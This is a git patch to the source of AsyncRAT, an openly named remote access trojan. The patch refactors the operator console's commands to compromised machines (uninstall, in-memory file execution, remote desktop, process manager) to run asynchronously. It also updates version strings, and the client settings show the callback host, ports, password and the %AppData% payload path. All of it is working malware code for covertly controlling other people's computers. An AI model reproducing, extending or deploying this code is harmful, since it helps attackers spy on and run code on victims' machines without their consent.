From 07ca3b427dcc9d662663e3cab6c98a64fa13d6de Mon Sep 17 00:00:00 2001 From: NYAN CAT Date: Fri, 29 Mar 2019 12:40:15 -0700 Subject: [PATCH] UPDATE --- AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs | 127 +++++++++++++--------- AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs | 2 +- AsyncRAT-C#/Client/Settings.cs | 2 +- 3 files changed, 77 insertions(+), 54 deletions(-) diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs index a725676..ade19cd 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/Form1.cs @@ -137,7 +137,7 @@ namespace AsyncRAT_Sharp toolStripStatusLabel1.Text = $"Online {Settings.Online.Count.ToString()} Selected {listView1.SelectedItems.Count.ToString()} Sent {Methods.BytesToString(Settings.Sent).ToString()} Received {Methods.BytesToString(Settings.Received).ToString()}"; } - private void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) + private async void cLOSEToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -145,13 +145,16 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "close"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + }); } } } - private void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) + private async void sENDMESSAGEBOXToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -165,8 +168,11 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Message").AsString = Msgbox; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + }); } } } @@ -188,9 +194,12 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "false"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Red; + }); } } } @@ -201,7 +210,7 @@ namespace AsyncRAT_Sharp } } - private void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) + private async void uNISTALLToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -211,8 +220,11 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Packet").AsString = "uninstall"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + }); } } catch (Exception ex) @@ -238,9 +250,12 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Update").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Red; + }); } } } @@ -251,7 +266,7 @@ namespace AsyncRAT_Sharp } } - private void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) + private async void sENDFILETOMEMORYToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) { @@ -277,9 +292,12 @@ namespace AsyncRAT_Sharp foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - CL.LV.ForeColor = Color.Red; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); + await Task.Run(() => + { + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + CL.LV.ForeColor = Color.Red; + }); } } SF.Close(); @@ -291,7 +309,7 @@ namespace AsyncRAT_Sharp } } - private void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) + private async void rEMOTEDESKTOPToolStripMenuItem_Click(object sender, EventArgs e) { if (listView1.SelectedItems.Count > 0) @@ -303,25 +321,28 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "true"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); - - this.BeginInvoke((MethodInvoker)(() => + await Task.Run(() => { - RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; - if (RD == null) + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + + this.BeginInvoke((MethodInvoker)(() => { - RD = new RemoteDesktop + RemoteDesktop RD = (RemoteDesktop)Application.OpenForms["RemoteDesktop:" + CL.ID]; + if (RD == null) { - Name = "RemoteDesktop:" + CL.ID, - F = this, - Text = "RemoteDesktop:" + CL.ID, - C = CL, - Active = true - }; - RD.Show(); - } - })); + RD = new RemoteDesktop + { + Name = "RemoteDesktop:" + CL.ID, + F = this, + Text = "RemoteDesktop:" + CL.ID, + C = CL, + Active = true + }; + RD.Show(); + } + })); + }); } } catch (Exception ex) @@ -332,7 +353,7 @@ namespace AsyncRAT_Sharp } - private void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) + private async void pROCESSMANAGERToolStripMenuItem_Click(object sender, EventArgs e) { try { @@ -343,24 +364,26 @@ namespace AsyncRAT_Sharp msgpack.ForcePathObject("Option").AsString = "List"; foreach (ListViewItem C in listView1.SelectedItems) { - Clients CL = (Clients)C.Tag; - ThreadPool.QueueUserWorkItem(CL.BeginSend, msgpack.Encode2Bytes()); - - this.BeginInvoke((MethodInvoker)(() => + await Task.Run(() => { - ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; - if (PM == null) + Clients CL = (Clients)C.Tag; + CL.BeginSend(msgpack.Encode2Bytes()); + this.BeginInvoke((MethodInvoker)(() => { - PM = new ProcessManager + ProcessManager PM = (ProcessManager)Application.OpenForms["processManager:" + CL.ID]; + if (PM == null) { - Name = "processManager:" + CL.ID, - Text = "processManager:" + CL.ID, - F = this, - C = CL - }; - PM.Show(); - } - })); + PM = new ProcessManager + { + Name = "processManager:" + CL.ID, + Text = "processManager:" + CL.ID, + F = this, + C = CL + }; + PM.Show(); + } + })); + }); } } } diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs index 654ad02..47536be 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Settings.cs @@ -9,7 +9,7 @@ namespace AsyncRAT_Sharp public static List Online = new List(); public static List Blocked = new List(); public static string Port = "6606,7707,8808"; - public static readonly string Version = "AsyncRAT 0.2.8A"; + public static readonly string Version = "AsyncRAT 0.2.8"; public static long Sent = 0; public static long Received = 0; public static string Password = "NYAN CAT"; diff --git a/AsyncRAT-C#/Client/Settings.cs b/AsyncRAT-C#/Client/Settings.cs index a7a7e48..279bd04 100644 --- a/AsyncRAT-C#/Client/Settings.cs +++ b/AsyncRAT-C#/Client/Settings.cs @@ -9,7 +9,7 @@ namespace Client { public static readonly string Ports = "6606" ; public static readonly string Host = "127.0.0.1" ; - public static readonly string Version = "AsyncRAT 0.2.8A"; + public static readonly string Version = "AsyncRAT 0.2.8"; public static readonly string Install = "false"; public static readonly string ClientFullPath = Path.Combine(Environment.ExpandEnvironmentVariables("%AppData%"), "Payload.exe"); public static string Password = "NYAN CAT";